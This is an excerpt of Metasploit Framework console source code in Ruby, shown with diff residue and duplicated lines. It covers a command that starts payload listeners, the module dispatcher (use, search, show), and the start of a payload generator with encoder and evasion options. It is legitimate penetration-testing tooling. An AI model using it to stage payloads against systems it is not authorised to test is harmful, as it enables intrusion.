# Allows the user to setup a payload handler as a background job from a single command.
def cmd_handler(*args)
# Display the help banner if no arguments were passed
if args.empty?
cmd_handler_help
return
end
exit_on_session = false
payload_module = nil
port = nil
host = nil
job_name = nil
stage_encoder = nil
# Parse the command options
@@handler_opts.parse(args) do |opt, _idx, val|
case opt
when "-x"
exit_on_session = true
when "-p"
payload_module = framework.payloads.create(val)
if payload_module.nil?
print_error "Invalid Payload Name Supplied!"
return
end
when "-P"
port = val
when "-H"
host = val
when "-n"
job_name = val
when "-e"
encoder_module = framework.encoders.create(val)
if encoder_module.nil?
print_error "Invalid Encoder Name Supplied"
end
stage_encoder = encoder_module.refname
when "-h"
cmd_handler_help
return
end
end
# If we are missing any of the required options, inform the user about each
# missing options, and not just one. Then exit so they can try again.
print_error "You must select a payload with -p <payload>" if payload_module.nil?
print_error "You must select a port(RPORT/LPORT) with -P <port number>" if port.nil?
print_error "You must select a host(RHOST/LHOST) with -H <hostname or address>" if host.nil?
if payload_module.nil? || port.nil? || host.nil?
print_error "Please supply missing arguments and try again."
return
end
handler = framework.modules.create('exploit/multi/handler')
payload_datastore = payload_module.datastore
# Set The RHOST or LHOST for the payload
if payload_datastore.has_key? "LHOST"
payload_datastore['LHOST'] = host
elsif payload_datastore.has_key? "RHOST"
payload_datastore['RHOST'] = host
else
print_error "Could not determine how to set Host on this payload..."
return
end
# Set the RPORT or LPORT for the payload
if payload_datastore.has_key? "LPORT"
payload_datastore['LPORT'] = port
elsif payload_datastore.has_key? "RPORT"
payload_datastore['RPORT'] = port
else
print_error "Could not determine how to set Port on this payload..."
return
end
# Set StageEncoder if selected
if stage_encoder.present?
payload_datastore["EnableStageEncoding"] = true
payload_datastore["StageEncoder"] = stage_encoder
end
# Merge payload datastore options into the handler options
handler_opts = {
'Payload' => payload_module.refname,
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'ExitOnSession' => exit_on_session,
'RunAsJob' => true
}
handler.datastore.reverse_merge!(payload_datastore)
# Launch our Handler and get the Job ID
handler.exploit_simple(handler_opts)
job_id = handler.job_id
# Customise the job name if the user asked for it
if job_name.present?
framework.jobs[job_id.to_s].send(:name=, job_name)
end
print_status "Payload Handler Started as Job #{job_id}"
end
end
end
end
end
end
@@ -0,0 +1,1121 @@
# -*- coding: binary -*-
require 'rex/ui/text/output/buffer/stdout'
module Msf
module Ui
module Console
module CommandDispatcher
#
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
#
class Modules
include Msf::Ui::Console::CommandDispatcher
# Constant for a retry timeout on using modules before they're loaded
CMD_USE_TIMEOUT = 3
# Constant for disclosure date formatting in search functions
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
@@search_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner."]
)
def commands
{
"back" => "Move back from the current context",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"advanced" => "Displays advanced options for one or more modules",
"info" => "Displays information about one or more modules",
"options" => "Displays global options or for one or more modules",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"reload_all" => "Reloads all modules from all defined module paths",
"search" => "Searches module names and descriptions",
"show" => "Displays modules of a given type, or all modules",
"use" => "Selects a module by name",
}
end
#
# Initializes the datastore cache
#
def initialize(driver)
super
@dscache = {}
@cache_payloads = nil
@previous_module = nil
@module_name_stack = []
end
#
# Returns the name of the command dispatcher.
#
def name
"Module"
end
def local_editor
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
end
def cmd_edit_help
msg = "Edit the currently active module"
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
print_line "Usage: edit"
print_line
print_line msg
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
print_line
end
#
# Edit the currently active module
#
def cmd_edit
unless local_editor
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
return
end
if active_module
path = active_module.file_path
print_status "Launching #{local_editor} #{path}"
system(local_editor,path)
else
print_error "Nothing to edit -- try using a module first."
end
end
def cmd_advanced_help
print_line 'Usage: advanced [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for advanced options. If no module is given,'
print_line 'show advanced options for the currently active module.'
print_line
end
def cmd_advanced(*args)
if args.empty?
if (active_module)
show_advanced_options(active_module)
return true
else
print_error('No module active')
return false
end
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_advanced_options(mod)
end
}
end
def cmd_info_help
print_line "Usage: info <module name> [mod2 mod3 ...]"
print_line
print_line "Options:"
print_line "* The flag '-j' will print the data in json format"
print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
print_line "Queries the supplied module or modules for information. If no module is given,"
print_line "show info for the currently active module."
print_line
end
#
# Displays information about one or more module.
#
def cmd_info(*args)
dump_json = false
show_doc = false
if args.include?('-j')
args.delete('-j')
dump_json = true
end
if args.include?('-d')
args.delete('-d')
show_doc = true
end
if (args.length == 0)
if (active_module)
if dump_json
print(Serializer::Json.dump_module(active_module) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(active_module))
end
return true
else
cmd_info_help
return false
end
elsif args.include? "-h"
cmd_info_help
return false
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(mod))
end
}
end
def cmd_options_help
print_line 'Usage: options [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for options. If no module is given,'
print_line 'show options for the currently active module.'
print_line
end
def cmd_options(*args)
if args.empty?
if (active_module)
show_options(active_module)
return true
else
show_global_options
return true
end
end
args.each do |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_options(mod)
end
end
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_advanced_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_info_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_options_tabs(str, words)
cmd_use_tabs(str, words)
end
def cmd_loadpath_help
print_line "Usage: loadpath </path/to/modules>"
print_line
print_line "Loads modules from the given directory which should contain subdirectories for"
print_line "module types, e.g. /path/to/modules/exploits"
print_line
end
#
# Adds one or more search paths.
#
def cmd_loadpath(*args)
if (args.length == 0 or args.include? "-h")
cmd_loadpath_help
return true
end
totals = {}
overall = 0
curr_path = nil
begin
# Walk the list of supplied search paths attempting to add each one
# along the way
args.each { |path|
curr_path = path
# Load modules, but do not consult the cache
if (counts = framework.modules.add_module_path(path))
counts.each_pair { |type, count|
totals[type] = (totals[type]) ? (totals[type] + count) : count
overall += count
}
end
}
rescue NameError, RuntimeError
log_error("Failed to add search path #{curr_path}: #{$!}")
return true
end
added = "Loaded #{overall} modules:\n"
totals.each_pair { |type, count|
added << " #{count} #{type}#{count != 1 ? 's' : ''}\n"
}
print(added)
end
#
# Tab completion for the loadpath command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_loadpath_tabs(str, words)
return [] if words.length > 1
# This custom completion might better than Readline's... We'll leave it for now.
#tab_complete_filenames(str,words)
paths = []
if (File.directory?(str))
paths = Dir.entries(str)
paths = paths.map { |f|
if File.directory? File.join(str,f)
File.join(str,f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
d = Dir.glob(str + "*").map { |f| f if File.directory?(f) }
d.delete_if { |f| f.nil? or f == '.' or f == '..' }
# If there's only one possibility, descend to the next level
if (1 == d.length)
paths = Dir.entries(d[0])
paths = paths.map { |f|
if File.directory? File.join(d[0],f)
File.join(d[0],f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
paths = d
end
end
paths.sort!
return paths
end
def cmd_search_help
print_line "Usage: search [keywords]"
print_line
print_line "Keywords:"
{
'app' => 'Modules that are client or server attacks',
'author' => 'Modules written by this author',
'bid' => 'Modules with a matching Bugtraq ID',
'cve' => 'Modules with a matching CVE ID',
'edb' => 'Modules with a matching Exploit-DB ID',
'name' => 'Modules with a matching descriptive name',
'platform' => 'Modules affecting this platform',
'ref' => 'Modules with a matching ref',
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
}.each_pair do |keyword, description|
print_line " #{keyword.ljust 10}: #{description}"
end
print_line
print_line "Examples:"
print_line " search cve:2009 type:exploit app:client"
print_line
end
#
# Searches modules for specific keywords
#
def cmd_search(*args)
match = ''
@@search_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
print_error("Deprecated option. Use type:#{val} instead")
cmd_search_help
return
when "-h"
cmd_search_help
return
else
match += val + " "
end
}
if framework.db
if framework.db.migrated && framework.db.modules_cached
search_modules_sql(match)
return
else
print_warning("Module database cache not built yet, using slow search")
end
else
print_warning("Database not connected, using slow search")
end
tbl = generate_module_table("Matching Modules")
[
framework.exploits,
framework.auxiliary,
framework.post,
framework.payloads,
framework.nops,
framework.encoders
].each do |mset|
mset.each do |m|
o = mset.create(m[0]) rescue nil
# Expected if modules are loaded without the right pre-requirements
next if not o
if not o.search_filter(match)
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
print_line(tbl.to_s)
end
# Prints table of modules matching the search_string.
#
# @param (see Msf::DBManager#search_modules)
# @return [void]
def search_modules_sql(search_string)
tbl = generate_module_table("Matching Modules")
framework.db.search_modules(search_string).each do |o|
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ]
end
print_line(tbl.to_s)
end
#
# Tab completion for the search command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_search_tabs(str, words)
if words.length == 1
return @@search_opts.fmt.keys
end
case (words[-1])
when "-r"
return RankingName.sort.map{|r| r[1]}
when "-t"
return %w{auxiliary encoder exploit nop payload post}
end
[]
end
def cmd_show_help
global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options}
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
module_opts = %w{ missing advanced evasion targets actions }
print_status("Additional module-specific parameters are: #{module_opts.join(", ")}")
end
#
# Displays the list of modules based on their type, or all modules if
# no type is provided.
#
def cmd_show(*args)
mod = self.active_module
args << "all" if (args.length == 0)
args.each { |type|
case type
when '-h'
cmd_show_help
when 'all'
show_encoders
show_nops
show_exploits
show_payloads
show_auxiliary
show_post
show_plugins
when 'encoders'
show_encoders
when 'nops'
show_nops
when 'exploits'
show_exploits
when 'payloads'
show_payloads
when 'auxiliary'
show_auxiliary
when 'post'
show_post
when 'info'
cmd_info(*args[1, args.length])
when 'options'
if (mod)
show_options(mod)
else
show_global_options
end
when 'missing'
if (mod)
show_missing(mod)
else
print_error("No module selected.")
end
when 'advanced'
if (mod)
show_advanced_options(mod)
else
print_error("No module selected.")
end
when 'evasion'
if (mod)
show_evasion_options(mod)
else
print_error("No module selected.")
end
when 'sessions'
if (active_module and active_module.respond_to?(:compatible_sessions))
sessions = active_module.compatible_sessions
else
sessions = framework.sessions.keys.sort
end
print_line
print(Serializer::ReadableText.dump_sessions(framework, :session_ids => sessions))
print_line
when "plugins"
show_plugins
when "targets"
if (mod and mod.exploit?)
show_targets(mod)
else
print_error("No exploit module selected.")
end
when "actions"
if mod && mod.kind_of?(Msf::Module::HasActions)
show_actions(mod)
else
print_error("No module with actions selected.")
end
else
print_error("Invalid parameter \"#{type}\", use \"show -h\" for more information")
end
}
end
#
# Tab completion for the show command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_show_tabs(str, words)
return [] if words.length > 1
res = %w{all encoders nops exploits payloads auxiliary post plugins options}
if (active_module)
res.concat(%w{ missing advanced evasion targets actions })
if (active_module.respond_to? :compatible_sessions)
res << "sessions"
end
end
return res
end
def cmd_use_help
print_line "Usage: use module_name"
print_line
print_line "The use command is used to interact with a module of a given name."
print_line
end
#
# Uses a module.
#
def cmd_use(*args)
if (args.length == 0)
cmd_use_help
return false
end
# Try to create an instance of the supplied module name
mod_name = args[0]
begin
mod = framework.modules.create(mod_name)
unless mod
# Try one more time; see #4549
sleep CMD_USE_TIMEOUT
mod = framework.modules.create(mod_name)
unless mod
print_error("Failed to load module: #{mod_name}")
return false
end
end
rescue Rex::AmbiguousArgumentError => info
print_error(info.to_s)
rescue NameError => info
log_error("The supplied module name is ambiguous: #{$!}.")
end
return false if (mod == nil)
# Enstack the command dispatcher for this module type
dispatcher = nil
case mod.type
when Msf::MODULE_ENCODER
dispatcher = Msf::Ui::Console::CommandDispatcher::Encoder
when Msf::MODULE_EXPLOIT
dispatcher = Msf::Ui::Console::CommandDispatcher::Exploit
when Msf::MODULE_NOP
dispatcher = Msf::Ui::Console::CommandDispatcher::Nop
when Msf::MODULE_PAYLOAD
dispatcher = Msf::Ui::Console::CommandDispatcher::Payload
when Msf::MODULE_AUX
dispatcher = Msf::Ui::Console::CommandDispatcher::Auxiliary
when Msf::MODULE_POST
dispatcher = Msf::Ui::Console::CommandDispatcher::Post
else
print_error("Unsupported module type: #{mod.type}")
return false
end
# If there's currently an active module, enqueque it and go back
if (active_module)
@previous_module = active_module
cmd_back()
end
if (dispatcher != nil)
driver.enstack_dispatcher(dispatcher)
end
# Update the active module
self.active_module = mod
# If a datastore cache exists for this module, then load it up
if @dscache[active_module.fullname]
active_module.datastore.update(@dscache[active_module.fullname])
end
@cache_payloads = nil
mod.init_ui(driver.input, driver.output)
# Update the command prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
end
#
# Command to take to the previously active module
#
def cmd_previous()
if @previous_module
self.cmd_use(@previous_module.fullname)
else
print_error("There isn't a previous module at the moment")
end
end
#
# Help for the 'previous' command
#
def cmd_previous_help
print_line "Usage: previous"
print_line
print_line "Set the previously loaded module as the current module"
print_line
end
#
# Command to enqueque a module on the module stack
#
def cmd_pushm(*args)
# could check if each argument is a valid module, but for now let them hang themselves
if args.count > 0
args.each do |arg|
@module_name_stack.push(arg)
# Note new modules are appended to the array and are only module (full)names
end
else #then just push the active module
if active_module
#print_status "Pushing the active module"
@module_name_stack.push(active_module.fullname)
else
print_error("There isn't an active module and you didn't specify a module to push")
return self.cmd_pushm_help
end
end
end
#
# Tab completion for the pushm command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_pushm_tabs(str, words)
tab_complete_module(str, words)
end
#
# Help for the 'pushm' command
#
def cmd_pushm_help
print_line "Usage: pushm [module1 [,module2, module3...]]"
print_line
print_line "push current active module or specified modules onto the module stack"
print_line
end
#
# Command to dequeque a module from the module stack
#
def cmd_popm(*args)
if (args.count > 1 or not args[0].respond_to?("to_i"))
return self.cmd_popm_help
elsif args.count == 1
# then pop 'n' items off the stack, but don't change the active module
if args[0].to_i >= @module_name_stack.count
# in case they pass in a number >= the length of @module_name_stack
@module_name_stack = []
print_status("The module stack is empty")
else
@module_name_stack.pop[args[0]]
end
else #then just pop the array and make that the active module
pop = @module_name_stack.pop
if pop
return self.cmd_use(pop)
else
print_error("There isn't anything to pop, the module stack is empty")
end
end
end
#
# Help for the 'popm' command
#
def cmd_popm_help
print_line "Usage: popm [n]"
print_line
print_line "pop the latest module off of the module stack and make it the active module"
print_line "or pop n modules off the stack, but don't change the active module"
print_line
end
#
# Tab completion for the use command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completd
def cmd_use_tabs(str, words)
return [] if words.length > 1
tab_complete_module(str, words)
end
def cmd_reload_all_help
print_line "Usage: reload_all"
print_line
print_line "Reload all modules from all configured module paths. This may take awhile."
print_line "See also: loadpath"
print_line
end
#
# Reload all module paths that we are aware of
#
def cmd_reload_all(*args)
if args.length > 0
cmd_reload_all_help
return
end
print_status("Reloading modules from all module paths...")
framework.modules.reload_modules
# Check for modules that failed to load
if framework.modules.module_load_error_by_path.length > 0
print_error("WARNING! The following modules could not be loaded!")
framework.modules.module_load_error_by_path.each do |path, error|
print_error("\t#{path}: #{error}")
end
end
if framework.modules.module_load_warnings.length > 0
print_warning("The following modules were loaded with warnings:")
framework.modules.module_load_warnings.each do |path, error|
print_warning("\t#{path}: #{error}")
end
end
self.driver.run_single("banner")
end
def cmd_back_help
print_line "Usage: back"
print_line
print_line "Return to the global dispatcher context"
print_line
end
#
# Pop the current dispatcher stack context, assuming it isn't pointed at
# the core or database backend stack context.
#
def cmd_back(*args)
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core' and
driver.current_dispatcher.name != 'Database Backend')
# Reset the active module if we have one
if (active_module)
# Do NOT reset the UI anymore
# active_module.reset_ui
# Save the module's datastore so that we can load it later
# if the module is used again
@dscache[active_module.fullname] = active_module.datastore.dup
self.active_module = nil
end
# Destack the current dispatcher
driver.destack_dispatcher
# Restore the prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true)
end
end
#
# Tab complete module names
#
def tab_complete_module(str, words)
res = []
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
end
#
# Module list enumeration
#
def show_encoders(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible encoders and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Encoders", active_module.compatible_encoders, regex, minrank, opts)
else
show_module_set("Encoders", framework.encoders, regex, minrank, opts)
end
end
def show_nops(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("NOP Generators", framework.nops, regex, minrank, opts)
end
def show_exploits(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Exploits", framework.exploits, regex, minrank, opts)
end
def show_payloads(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible payloads and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Payloads", active_module.compatible_payloads, regex, minrank, opts)
else
show_module_set("Payloads", framework.payloads, regex, minrank, opts)
end
end
def show_auxiliary(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Auxiliary", framework.auxiliary, regex, minrank, opts)
end
def show_post(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Post", framework.post, regex, minrank, opts)
end
def show_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ')
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ')
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
# Print the selected target
if (mod.exploit? and mod.target)
mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ')
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
end
# Print the selected action
if mod.kind_of?(Msf::Module::HasActions) && mod.action
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
end
# Uncomment this line if u want target like msf2 format
#print("\nTarget: #{mod.target.name}\n\n")
end
def show_missing(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true)
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ', true)
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_global_options
columns = [ 'Option', 'Current Setting', 'Description' ]
tbl = Table.new(
Table::Style::Default,
'Header' => 'Global Options:',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => columns
)
[
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
[ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || Time::DATE_FORMATS[:db].to_s, 'Format for timestamp escapes in prompts' ],
].each { |r| tbl << r }
print(tbl.to_s)
end
def show_targets(mod) # :nodoc:
mod_targs = Serializer::ReadableText.dump_exploit_targets(mod, ' ')
print("\nExploit targets:\n\n#{mod_targs}\n") if (mod_targs and mod_targs.length > 0)
end
def show_actions(mod) # :nodoc:
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
end
def show_advanced_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_advanced_options(p, ' ')
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_evasion_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_evasion_options(mod, ' ')
print("\nModule evasion options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_evasion_options(p, ' ')
print("\nPayload evasion options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_plugins # :nodoc:
tbl = Table.new(
Table::Style::Default,
'Header' => 'Plugins',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Description' ]
)
framework.plugins.each { |plugin|
tbl << [ plugin.name, plugin.desc ]
}
print(tbl.to_s)
end
def show_module_set(type, module_set, regex = nil, minrank = nil, opts = nil) # :nodoc:
tbl = generate_module_table(type)
module_set.sort.each { |refname, mod|
o = nil
begin
o = mod.new
rescue ::Exception
end
next if not o
# handle a search string, search deep
if (
not regex or
o.name.match(regex) or
o.description.match(regex) or
o.refname.match(regex) or
o.references.map{|x| [x.ctx_id + '-' + x.ctx_val, x.to_s]}.join(' ').match(regex) or
o.author.to_s.match(regex)
)
if (not minrank or minrank <= o.rank)
show = true
if opts
mod_opt_keys = o.options.keys.map { |x| x.downcase }
opts.each do |opt,val|
if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val)
show = false
end
end
end
if (opts == nil or show == true)
tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
}
print(tbl.to_s)
end
def generate_module_table(type) # :nodoc:
Table.new(
Table::Style::Default,
'Header' => type,
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ]
)
end
end
end
end
end
end
+120 -118
View File
@@ -3,139 +3,141 @@
require 'rex/parser/arguments'
module Msf
module Ui
module Console
module CommandDispatcher
module Ui
module Console
module CommandDispatcher
###
#
# Payload module command dispatcher.
#
###
class Payload
class Payload
include Msf::Ui::Console::ModuleCommandDispatcher
include Msf::Ui::Console::ModuleCommandDispatcher
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
@@generate_opts = Rex::Parser::Arguments.new(
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-E" => [ false, "Force encoding." ],
"-e" => [ true, "The name of the encoder module to use." ],
"-h" => [ false, "Help banner." ],
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ],
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ],
"-i" => [ true, "the number of encoding iterations." ])
@@generate_opts = Rex::Parser::Arguments.new(
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-E" => [ false, "Force encoding." ],
"-e" => [ true, "The name of the encoder module to use." ],
"-h" => [ false, "Help banner." ],
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ],
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ],
"-i" => [ true, "the number of encoding iterations." ])
#
# Returns the hash of commands specific to payload modules.
#
def commands
super.update({
"generate" => "Generates a payload",
})
end
#
# Returns the hash of commands specific to payload modules.
#
def commands
super.update({
"generate" => "Generates a payload",
})
end
#
# Returns the command dispatcher name.
#
def name
return "Payload"
end
#
# Returns the command dispatcher name.
#
def name
return "Payload"
end
#
# Generates a payload.
#
def cmd_generate(*args)
#
# Generates a payload.
#
def cmd_generate(*args)
# Parse the arguments
encoder_name = nil
sled_size = nil
option_str = nil
badchars = nil
type = "ruby"
ofile = nil
iter = 1
force = nil
template = nil
plat = nil
keep = false
# Parse the arguments
encoder_name = nil
sled_size = nil
option_str = nil
badchars = nil
type = "ruby"
ofile = nil
iter = 1
force = nil
template = nil
plat = nil
keep = false
@@generate_opts.parse(args) { |opt, idx, val|
case opt
when '-b'
badchars = Rex::Text.hex_to_raw(val)
when '-e'
encoder_name = val
when '-E'
force = true
when '-o'
option_str = val
when '-s'
sled_size = val.to_i
when '-t'
type = val
when '-f'
ofile = val
when '-i'
iter = val
when '-k'
keep = true
when '-p'
plat = val
when '-x'
template = val
when '-h'
print(
"Usage: generate [options]\n\n" +
"Generates a payload.\n" +
@@generate_opts.usage)
return true
end
}
if (encoder_name.nil? and mod.datastore['ENCODER'])
encoder_name = mod.datastore['ENCODER']
end
# Generate the payload
begin
buf = mod.generate_simple(
'BadChars' => badchars,
'Encoder' => encoder_name,
'Format' => type,
'NopSledSize' => sled_size,
'OptionStr' => option_str,
'ForceEncode' => force,
'Template' => template,
'Platform' => plat,
